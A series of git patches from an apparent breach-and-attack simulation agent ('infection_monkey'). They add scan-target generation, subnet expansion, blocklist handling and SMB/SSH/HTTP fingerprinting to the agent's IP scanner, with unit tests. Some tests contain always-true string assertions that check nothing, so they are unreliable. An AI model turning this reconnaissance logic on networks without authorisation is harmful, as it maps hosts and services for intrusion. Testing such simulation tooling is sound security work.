.../network/test_scan_target_generator.py | 40 +++++++++++++++++++ 2 files changed, 52 insertions(+) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 41b570622..cdcfbdb31 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -12,8 +12,11 @@ def compile_scan_target_list( ) -> List[str]: scan_targets = _get_ips_from_ranges_to_scan(ranges_to_scan) + _remove_blocklisted_ips(scan_targets, blocklisted_ips) + scan_target_list = list(scan_targets) scan_target_list.sort() + return scan_target_list @@ -25,3 +28,12 @@ def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> Set[str]: scan_targets.update(set(_range)) return scan_targets + + +def _remove_blocklisted_ips(scan_targets: Set[str], blocked_ips: List[str]): + for blocked_ip in blocked_ips: + try: + scan_targets.remove(blocked_ip) + except KeyError: + # We don't need to remove the blocked ip if it's already missing from the scan_targets + pass diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index 89a0775d8..9e1b5fc0b 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -63,3 +63,43 @@ def test_ip_range(ip_range): for i in range(25, 34): assert f"192.168.56.{i}" in scan_targets + + +def test_no_duplicates(): + scan_targets = compile_ranges_only(["192.168.56.0/29", "192.168.56.2", "192.168.56.4"]) + + assert len(scan_targets) == 7 + + for i in range(0, 7): + assert f"192.168.56.{i}" in scan_targets + + +def test_blocklisted_ips(): + blocklisted_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] + + scan_targets = compile_scan_target_list( + local_ips=[], + ranges_to_scan=["10.0.0.0/24"], + inaccessible_subnets=[], + blocklisted_ips=blocklisted_ips, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 252 + for blocked_ip in blocklisted_ips: + assert blocked_ip not in scan_targets + + +@pytest.mark.parametrize("ranges_to_scan", [["10.0.0.5"], []]) +def test_only_ip_blocklisted(ranges_to_scan): + blocklisted_ips = ["10.0.0.5"] + + scan_targets = compile_scan_target_list( + local_ips=[], + ranges_to_scan=ranges_to_scan, + inaccessible_subnets=[], + blocklisted_ips=blocklisted_ips, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 From 4bc07442acc1e968e1577b3c144e5e63270f0869 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 17:27:38 +0200 Subject: [PATCH 0142/1110] Agent: fix network_range.py to generate a correct range object for ip strings with /32 cidr notation This will fix the case where user inputs 10.0.0.10/32 expecting 10.0.0.10 getting scanned, but getting an error instead --- monkey/common/network/network_range.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 1ab199943..e58fffcec 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -44,9 +44,11 @@ class NetworkRange(object, metaclass=ABCMeta): if not address_str: # Empty string return None address_str = address_str.strip() + if address_str.endswith("/32"): + address_str = address_str[:-3] if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) - if -1 != address_str.find("/"): + if "/" in address_str: return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) From 244bde320d53d481bfb3e748827c65f64e840a8a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 10:12:37 -0500 Subject: [PATCH 0143/1110] Agent: Remove local IPs from scan targets --- .../network/scan_target_generator.py | 15 ++++-- .../network/test_scan_target_generator.py | 52 +++++++++++++++++++ 2 files changed, 64 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index cdcfbdb31..862e37aef 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -12,6 +12,7 @@ def compile_scan_target_list( ) -> List[str]: scan_targets = _get_ips_from_ranges_to_scan(ranges_to_scan) + _remove_local_ips(scan_targets, local_ips) _remove_blocklisted_ips(scan_targets, blocklisted_ips) scan_target_list = list(scan_targets) @@ -30,10 +31,18 @@ def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> Set[str]: return scan_targets +def _remove_local_ips(scan_targets: Set[str], local_ips: List[str]): + _remove_ips_from_scan_targets(scan_targets, local_ips) + + def _remove_blocklisted_ips(scan_targets: Set[str], blocked_ips: List[str]): - for blocked_ip in blocked_ips: + _remove_ips_from_scan_targets(scan_targets, blocked_ips) + + +def _remove_ips_from_scan_targets(scan_targets: Set[str], ips_to_remove: List[str]): + for ip in ips_to_remove: try: - scan_targets.remove(blocked_ip) + scan_targets.remove(ip) except KeyError: - # We don't need to remove the blocked ip if it's already missing from the scan_targets + # We don't need to remove the ip if it's already missing from the scan_targets pass diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index 9e1b5fc0b..089644187 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -103,3 +103,55 @@ def test_only_ip_blocklisted(ranges_to_scan): ) assert len(scan_targets) == 0 + + +def test_local_ips_removed_from_targets(): + local_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] + + scan_targets = compile_scan_target_list( + local_ips=local_ips, + ranges_to_scan=["10.0.0.0/24"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 252 + for ip in local_ips: + assert ip not in scan_targets + + +@pytest.mark.parametrize("ranges_to_scan", [["10.0.0.5"], []]) +def test_only_scan_ip_is_local(ranges_to_scan): + local_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] + + scan_targets = compile_scan_target_list( + local_ips=local_ips, + ranges_to_scan=ranges_to_scan, + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 + + +def test_local_ips_and_blocked_ips_removed_from_targets(): + local_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] + blocked_ips = ["10.0.0.63", "192.168.1.77", "0.0.0.0"] + + scan_targets = compile_scan_target_list( + local_ips=local_ips, + ranges_to_scan=["10.0.0.0/24", "192.168.1.0/24"], + inaccessible_subnets=[], + blocklisted_ips=blocked_ips, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == (2 * (256 - 1)) - len(local_ips) - (len(blocked_ips) - 1) + + for ip in local_ips: + assert ip not in scan_targets + + for ip in blocked_ips: + assert ip not in scan_targets From 27884ad44d99d1cbac59d82dad8933f3ff9e986e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 11:14:14 -0500 Subject: [PATCH 0144/1110] Agent: Implement "enable_local_network_scan" IP address generation --- .../network/scan_target_generator.py | 24 ++- .../network/test_scan_target_generator.py | 180 ++++++++++++++++-- 2 files changed, 183 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 862e37aef..1f4e44e86 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -1,10 +1,17 @@ +from collections import namedtuple from typing import List, Set from common.network.network_range import NetworkRange +# TODO: Convert to class and validate the format of the address and netmask +# Example: address="192.168.1.1", netmask="/24" +NetworkInterface = namedtuple("NetworkInterface", ("address", "netmask")) + +# TODO: Validate all parameters +# TODO: Implement inaccessible_subnets def compile_scan_target_list( - local_ips: List[str], + local_network_interfaces: List[NetworkInterface], ranges_to_scan: List[str], inaccessible_subnets: List[str], blocklisted_ips: List[str], @@ -12,7 +19,10 @@ def compile_scan_target_list( ) -> List[str]: scan_targets = _get_ips_from_ranges_to_scan(ranges_to_scan) - _remove_local_ips(scan_targets, local_ips) + if enable_local_network_scan: + scan_targets.update(_get_ips_to_scan_from_local_interface(local_network_interfaces)) + + _remove_interface_ips(scan_targets, local_network_interfaces) _remove_blocklisted_ips(scan_targets, blocklisted_ips) scan_target_list = list(scan_targets) @@ -31,8 +41,14 @@ def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> Set[str]: return scan_targets -def _remove_local_ips(scan_targets: Set[str], local_ips: List[str]): - _remove_ips_from_scan_targets(scan_targets, local_ips) +def _get_ips_to_scan_from_local_interface(interfaces: List[NetworkInterface]) -> Set[str]: + ranges = [f"{interface.address}{interface.netmask}" for interface in interfaces] + return _get_ips_from_ranges_to_scan(ranges) + + +def _remove_interface_ips(scan_targets: Set[str], interfaces: List[NetworkInterface]): + interface_ips = [interface.address for interface in interfaces] + _remove_ips_from_scan_targets(scan_targets, interface_ips) def _remove_blocklisted_ips(scan_targets: Set[str], blocked_ips: List[str]): diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index 089644187..cf69b7a30 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -1,11 +1,14 @@ import pytest -from infection_monkey.network.scan_target_generator import compile_scan_target_list +from infection_monkey.network.scan_target_generator import ( + NetworkInterface, + compile_scan_target_list, +) def compile_ranges_only(ranges): return compile_scan_target_list( - local_ips=[], + local_network_interfaces=[], ranges_to_scan=ranges, inaccessible_subnets=[], blocklisted_ips=[], @@ -78,7 +81,7 @@ def test_blocklisted_ips(): blocklisted_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] scan_targets = compile_scan_target_list( - local_ips=[], + local_network_interfaces=[], ranges_to_scan=["10.0.0.0/24"], inaccessible_subnets=[], blocklisted_ips=blocklisted_ips, @@ -95,7 +98,7 @@ def test_only_ip_blocklisted(ranges_to_scan): blocklisted_ips = ["10.0.0.5"] scan_targets = compile_scan_target_list( - local_ips=[], + local_network_interfaces=[], ranges_to_scan=ranges_to_scan, inaccessible_subnets=[], blocklisted_ips=blocklisted_ips, @@ -105,11 +108,16 @@ def test_only_ip_blocklisted(ranges_to_scan): assert len(scan_targets) == 0 -def test_local_ips_removed_from_targets(): - local_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] +def test_local_network_interface_ips_removed_from_targets(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("10.0.0.32", "/24"), + NetworkInterface("10.0.0.119", "/24"), + NetworkInterface("192.168.1.33", "/24"), + ] scan_targets = compile_scan_target_list( - local_ips=local_ips, + local_network_interfaces=local_network_interfaces, ranges_to_scan=["10.0.0.0/24"], inaccessible_subnets=[], blocklisted_ips=[], @@ -117,16 +125,21 @@ def test_local_ips_removed_from_targets(): ) assert len(scan_targets) == 252 - for ip in local_ips: - assert ip not in scan_targets + for interface in local_network_interfaces: + assert interface.address not in scan_targets @pytest.mark.parametrize("ranges_to_scan", [["10.0.0.5"], []]) def test_only_scan_ip_is_local(ranges_to_scan): - local_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("10.0.0.32", "/24"), + NetworkInterface("10.0.0.119", "/24"), + NetworkInterface("192.168.1.33", "/24"), + ] scan_targets = compile_scan_target_list( - local_ips=local_ips, + local_network_interfaces=local_network_interfaces, ranges_to_scan=ranges_to_scan, inaccessible_subnets=[], blocklisted_ips=[], @@ -136,22 +149,155 @@ def test_only_scan_ip_is_local(ranges_to_scan): assert len(scan_targets) == 0 -def test_local_ips_and_blocked_ips_removed_from_targets(): - local_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] +def test_local_network_interface_ips_and_blocked_ips_removed_from_targets(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("10.0.0.32", "/24"), + NetworkInterface("10.0.0.119", "/24"), + NetworkInterface("192.168.1.33", "/24"), + ] blocked_ips = ["10.0.0.63", "192.168.1.77", "0.0.0.0"] scan_targets = compile_scan_target_list( - local_ips=local_ips, + local_network_interfaces=local_network_interfaces, ranges_to_scan=["10.0.0.0/24", "192.168.1.0/24"], inaccessible_subnets=[], blocklisted_ips=blocked_ips, enable_local_network_scan=False, ) - assert len(scan_targets) == (2 * (256 - 1)) - len(local_ips) - (len(blocked_ips) - 1) + assert len(scan_targets) == (2 * (256 - 1)) - len(local_network_interfaces) - ( + len(blocked_ips) - 1 + ) - for ip in local_ips: - assert ip not in scan_targets + for interface in local_network_interfaces: + assert interface.address not in scan_targets for ip in blocked_ips: assert ip not in scan_targets + + +def test_local_subnet_added(): + local_network_interfaces = [NetworkInterface("10.0.0.5", "/24")] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 254 + + for ip in range(0, 5): + assert f"10.0.0.{ip} in scan_targets" + for ip in range(6, 255): + assert f"10.0.0.{ip} in scan_targets" + + +def test_multiple_local_subnets_added(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("172.33.66.99", "/24"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 2 * (255 - 1) + + for ip in range(0, 5): + assert f"10.0.0.{ip} in scan_targets" + for ip in range(6, 255): + assert f"10.0.0.{ip} in scan_targets" + + for ip in range(0, 99): + assert f"172.33.66.{ip} in scan_targets" + for ip in range(100, 255): + assert f"172.33.66.{ip} in scan_targets" + + +def test_blocklisted_ips_missing_from_local_subnets(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("172.33.66.99", "/24"), + ] + blocklisted_ips = ["10.0.0.12", "10.0.0.13", "172.33.66.25"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=blocklisted_ips, + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 2 * (255 - 1) - len(blocklisted_ips) + + for ip in blocklisted_ips: + assert ip not in scan_targets + + +def test_local_subnets_and_ranges_added(): + local_network_interfaces = [NetworkInterface("10.0.0.5", "/24")] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["172.33.66.40/30"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 254 + 3 + + for ip in range(0, 5): + assert f"10.0.0.{ip} in scan_targets" + for ip in range(6, 255): + assert f"10.0.0.{ip} in scan_targets" + + for ip in range(40, 43): + assert f"172.33.66.{ip} in scan_targets" + + +def test_local_network_interfaces_specified_but_disabled(): + local_network_interfaces = [NetworkInterface("10.0.0.5", "/24")] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["172.33.66.40/30"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in range(40, 43): + assert f"172.33.66.{ip} in scan_targets" + + +def test_local_network_interfaces_subnet_masks(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + NetworkInterface("172.60.145.144", "/30"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 4 + + for ip in [108, 110, 145, 146]: + assert f"172.60.145.{ip}" in scan_targets From 96f59cc628538130f5e86b1eefb23864ee112e4b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 10:20:33 -0500 Subject: [PATCH 0145/1110] Agent: Remove unused "os-version" from fingerprinters --- monkey/infection_monkey/network/smbfinger.py | 3 +-- monkey/infection_monkey/network/sshfinger.py | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index f3301f33c..2c76f652a 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -181,8 +181,7 @@ class SMBFinger(HostFinger): host.services[SMB_SERVICE]["name"] = service_client if "version" not in host.os: host.os["version"] = os_version - else: - host.services[SMB_SERVICE]["os-version"] = os_version + return True except Exception as exc: logger.debug("Error getting smb fingerprint: %s", exc) diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py index 59c0395a9..df21ef35b 100644 --- a/monkey/infection_monkey/network/sshfinger.py +++ b/monkey/infection_monkey/network/sshfinger.py @@ -28,8 +28,7 @@ class SSHFinger(HostFinger): os_version = banner.split(" ").pop().strip() if "version" not in host.os: host.os["version"] = os_version - else: - host.services[service]["os-version"] = os_version + break def get_host_fingerprint(self, host): From af338be41877d36dcf62e38b6c0de9d3263dff98 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 11:01:38 -0500 Subject: [PATCH 0146/1110] UT: Rename test_network_scanner.py -> test_ip_scanner.py --- .../master/{test_network_scanner.py => test_ip_scanner.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/infection_monkey/master/{test_network_scanner.py => test_ip_scanner.py} (100%) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py rename to monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py From 0ff45e3af1a1d7aa8cf5974eebd0c496c61794bd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 12:00:18 -0500 Subject: [PATCH 0147/1110] Agent: Change return type of IPuppet.fingerprint() --- monkey/infection_monkey/i_puppet.py | 7 ++-- monkey/infection_monkey/puppet/mock_puppet.py | 33 ++++++++++++------- 2 files changed, 25 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index f158be08c..518b299b6 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -13,6 +13,7 @@ class PortStatus(Enum): ExploiterResultData = namedtuple("ExploiterResultData", ["result", "info", "attempts"]) PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) +FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) PostBreachData = namedtuple("PostBreachData", ["command", "result"]) @@ -57,13 +58,13 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def fingerprint(self, name: str, host: str) -> Dict: + def fingerprint(self, name: str, host: str) -> FingerprintData: """ Runs a fingerprinter against a remote host :param str name: The name of the fingerprinter to run :param str host: The domain name or IP address of a host - :return: A dictionary containing the information collected by the fingerprinter - :rtype: Dict + :return: The data collected by running the fingerprinter on the specified host + :rtype: FingerprintData """ @abc.abstractmethod diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 8c6a39c65..f8c76d843 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -4,6 +4,7 @@ from typing import Dict, Tuple from infection_monkey.i_puppet import ( ExploiterResultData, + FingerprintData, IPuppet, PingScanData, PortScanData, @@ -193,29 +194,37 @@ class MockPuppet(IPuppet): return _get_empty_results(port) - def fingerprint(self, name: str, host: str) -> Dict: + def fingerprint(self, name: str, host: str) -> FingerprintData: logger.debug(f"fingerprint({name}, {host})") + empty_fingerprint_data = FingerprintData(None, None, {}) + dot_1_results = { - "SMBFinger": { - "os": {"type": "windows", "version": "vista"}, - "services": {"tcp-445": {"name": "SSH", "os": "linux"}}, - } + "SMBFinger": FingerprintData( + "windows", "vista", {"tcp-445": {"name": "smb_service_name"}} + ) } dot_3_results = { - "SSHFinger": {"os": "linux", "services": {"tcp-22": {"name": "SSH"}}}, - "HTTPFinger": { - "services": {"tcp-https": {"name": "http", "data": ("SERVER_HEADERS", DOT_3)}} - }, + "SSHFinger": FingerprintData( + "linux", "ubuntu", {"tcp-22": {"name": "SSH", "banner": "SSH BANNER"}} + ), + "HTTPFinger": FingerprintData( + None, + None, + { + "tcp-80": {"name": "http", "data": ("SERVER_HEADERS", False)}, + "tcp-443": {"name": "http", "data": ("SERVER_HEADERS_2", True)}, + }, + ), } if host == DOT_1: - return dot_1_results.get(name, {}) + return dot_1_results.get(name, empty_fingerprint_data) if host == DOT_3: - return dot_3_results.get(name, {}) + return dot_3_results.get(name, empty_fingerprint_data) - return {} + return empty_fingerprint_data def exploit_host( self, name: str, host: str, options: Dict, interrupt: threading.Event From 438563af9ca027bc2fe7aecc68ef7472815ca759 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 12:04:08 -0500 Subject: [PATCH 0148/1110] Agent: Add fingerprinting to IPScanner --- monkey/infection_monkey/master/ip_scanner.py | 43 ++++++++- .../master/test_ip_scanner.py | 94 +++++++++++++++---- 2 files changed, 117 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index b54adfb4a..62bf9c7d8 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -5,7 +5,13 @@ from queue import Queue from threading import Event from typing import Callable, Dict, List -from infection_monkey.i_puppet import IPuppet, PingScanData, PortScanData +from infection_monkey.i_puppet import ( + FingerprintData, + IPuppet, + PingScanData, + PortScanData, + PortStatus, +) from .threading_utils import create_daemon_thread @@ -13,7 +19,10 @@ logger = logging.getLogger() IP = str Port = int -Callback = Callable[[IP, PingScanData, Dict[Port, PortScanData]], None] +FingerprinterName = str +Callback = Callable[ + [IP, PingScanData, Dict[Port, PortScanData], Dict[FingerprinterName, FingerprintData]], None +] class IPScanner: @@ -53,7 +62,12 @@ class IPScanner: tcp_ports = options["tcp"]["ports"] port_scan_data = self._scan_tcp_ports(ip, tcp_ports, tcp_timeout, stop) - results_callback(ip, ping_scan_data, port_scan_data) + fingerprint_data = {} + if IPScanner._found_open_port(port_scan_data): + fingerprinters = options["fingerprinters"] + fingerprint_data = self._run_fingerprinters(ip, fingerprinters, stop) + + results_callback(ip, ping_scan_data, port_scan_data, fingerprint_data) logger.debug( f"Detected the stop signal, scanning thread {threading.get_ident()} exiting" @@ -64,7 +78,9 @@ class IPScanner: f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" ) - def _scan_tcp_ports(self, ip: str, ports: List[int], timeout: float, stop: Event): + def _scan_tcp_ports( + self, ip: str, ports: List[int], timeout: float, stop: Event + ) -> Dict[int, PortScanData]: port_scan_data = {} for p in ports: @@ -74,3 +90,22 @@ class IPScanner: port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, timeout) return port_scan_data + + @staticmethod + def _found_open_port(port_scan_data: Dict[int, PortScanData]): + for psd in port_scan_data.values(): + if psd.status == PortStatus.OPEN: + return True + + return False + + def _run_fingerprinters(self, ip: str, fingerprinters: List[str], stop: Event): + fingerprint_data = {} + + for f in fingerprinters: + if stop.is_set(): + break + + fingerprint_data[f] = self._puppet.fingerprint(f, ip) + + return fingerprint_data diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 6d38097a7..12e822fa3 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -4,7 +4,7 @@ from unittest.mock import MagicMock import pytest -from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.i_puppet import FingerprintData, PortScanData, PortStatus from infection_monkey.master import IPScanner from infection_monkey.puppet.mock_puppet import MockPuppet @@ -29,6 +29,7 @@ def scan_config(): "icmp": { "timeout_ms": 1000, }, + "fingerprinters": {"HTTPFinger", "SMBFinger", "SSHFinger"}, } @@ -50,9 +51,16 @@ def assert_port_status(port_scan_data, expected_open_ports: Set[int]): assert psd.status == PortStatus.CLOSED -def assert_scan_results_no_1(ip, ping_scan_data, port_scan_data): - assert ip == "10.0.0.1" +def assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data): + if ip == "10.0.0.1": + assert_scan_results_no_1(ping_scan_data, port_scan_data, fingerprint_data) + elif ip == "10.0.0.3": + assert_scan_results_no_3(ping_scan_data, port_scan_data, fingerprint_data) + else: + assert_scan_results_host_down(ip, ping_scan_data, port_scan_data, fingerprint_data) + +def assert_scan_results_no_1(ping_scan_data, port_scan_data, fingerprint_data): assert ping_scan_data.response_received is True assert ping_scan_data.os == WINDOWS_OS @@ -70,11 +78,22 @@ def assert_scan_results_no_1(ip, ping_scan_data, port_scan_data): assert psd_3389.service == "tcp-3389" assert_port_status(port_scan_data, {445, 3389}) + assert_fingerprint_results_no_1(fingerprint_data) -def assert_scan_results_no_3(ip, ping_scan_data, port_scan_data): - assert ip == "10.0.0.3" +def assert_fingerprint_results_no_1(fingerprint_data): + assert len(fingerprint_data.keys()) == 3 + assert fingerprint_data["SSHFinger"].services == {} + assert fingerprint_data["HTTPFinger"].services == {} + assert fingerprint_data["SMBFinger"].os_type == WINDOWS_OS + assert fingerprint_data["SMBFinger"].os_version == "vista" + + assert len(fingerprint_data["SMBFinger"].services.keys()) == 1 + assert fingerprint_data["SMBFinger"].services["tcp-445"]["name"] == "smb_service_name" + + +def assert_scan_results_no_3(ping_scan_data, port_scan_data, fingerprint_data): assert ping_scan_data.response_received is True assert ping_scan_data.os == LINUX_OS assert len(port_scan_data.keys()) == 6 @@ -91,15 +110,36 @@ def assert_scan_results_no_3(ip, ping_scan_data, port_scan_data): assert psd_22.service == "tcp-22" assert_port_status(port_scan_data, {22, 443}) + assert_fingerprint_results_no_3(fingerprint_data) -def assert_scan_results_host_down(ip, ping_scan_data, port_scan_data): +def assert_fingerprint_results_no_3(fingerprint_data): + assert len(fingerprint_data.keys()) == 3 + assert fingerprint_data["SMBFinger"].services == {} + + assert fingerprint_data["SSHFinger"].os_type == LINUX_OS + assert fingerprint_data["SSHFinger"].os_version == "ubuntu" + + assert len(fingerprint_data["SSHFinger"].services.keys()) == 1 + assert fingerprint_data["SSHFinger"].services["tcp-22"]["name"] == "SSH" + assert fingerprint_data["SSHFinger"].services["tcp-22"]["banner"] == "SSH BANNER" + + assert len(fingerprint_data["HTTPFinger"].services.keys()) == 2 + assert fingerprint_data["HTTPFinger"].services["tcp-80"]["name"] == "http" + assert fingerprint_data["HTTPFinger"].services["tcp-80"]["data"] == ("SERVER_HEADERS", False) + assert fingerprint_data["HTTPFinger"].services["tcp-443"]["name"] == "http" + assert fingerprint_data["HTTPFinger"].services["tcp-443"]["data"] == ("SERVER_HEADERS_2", True) + + +def assert_scan_results_host_down(ip, ping_scan_data, port_scan_data, fingerprint_data): assert ip not in {"10.0.0.1", "10.0.0.3"} assert ping_scan_data.response_received is False assert len(port_scan_data.keys()) == 6 assert_port_status(port_scan_data, set()) + assert fingerprint_data == {} + def test_scan_single_ip(callback, scan_config, stop): ips = ["10.0.0.1"] @@ -109,8 +149,8 @@ def test_scan_single_ip(callback, scan_config, stop): callback.assert_called_once() - (ip, ping_scan_data, port_scan_data) = callback.call_args_list[0][0] - assert_scan_results_no_1(ip, ping_scan_data, port_scan_data) + (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[0][0] + assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) def test_scan_multiple_ips(callback, scan_config, stop): @@ -121,17 +161,17 @@ def test_scan_multiple_ips(callback, scan_config, stop): assert callback.call_count == 4 - (ip, ping_scan_data, port_scan_data) = callback.call_args_list[0][0] - assert_scan_results_no_1(ip, ping_scan_data, port_scan_data) + (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[0][0] + assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) - (ip, ping_scan_data, port_scan_data) = callback.call_args_list[1][0] - assert_scan_results_host_down(ip, ping_scan_data, port_scan_data) + (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[1][0] + assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) - (ip, ping_scan_data, port_scan_data) = callback.call_args_list[2][0] - assert_scan_results_no_3(ip, ping_scan_data, port_scan_data) + (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[2][0] + assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) - (ip, ping_scan_data, port_scan_data) = callback.call_args_list[3][0] - assert_scan_results_host_down(ip, ping_scan_data, port_scan_data) + (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[3][0] + assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) def test_scan_lots_of_ips(callback, scan_config, stop): @@ -182,3 +222,25 @@ def test_interrupt_port_scanning(callback, scan_config, stop): ns.scan(ips, scan_config, callback, stop) assert puppet.scan_tcp_port.call_count == 2 + + 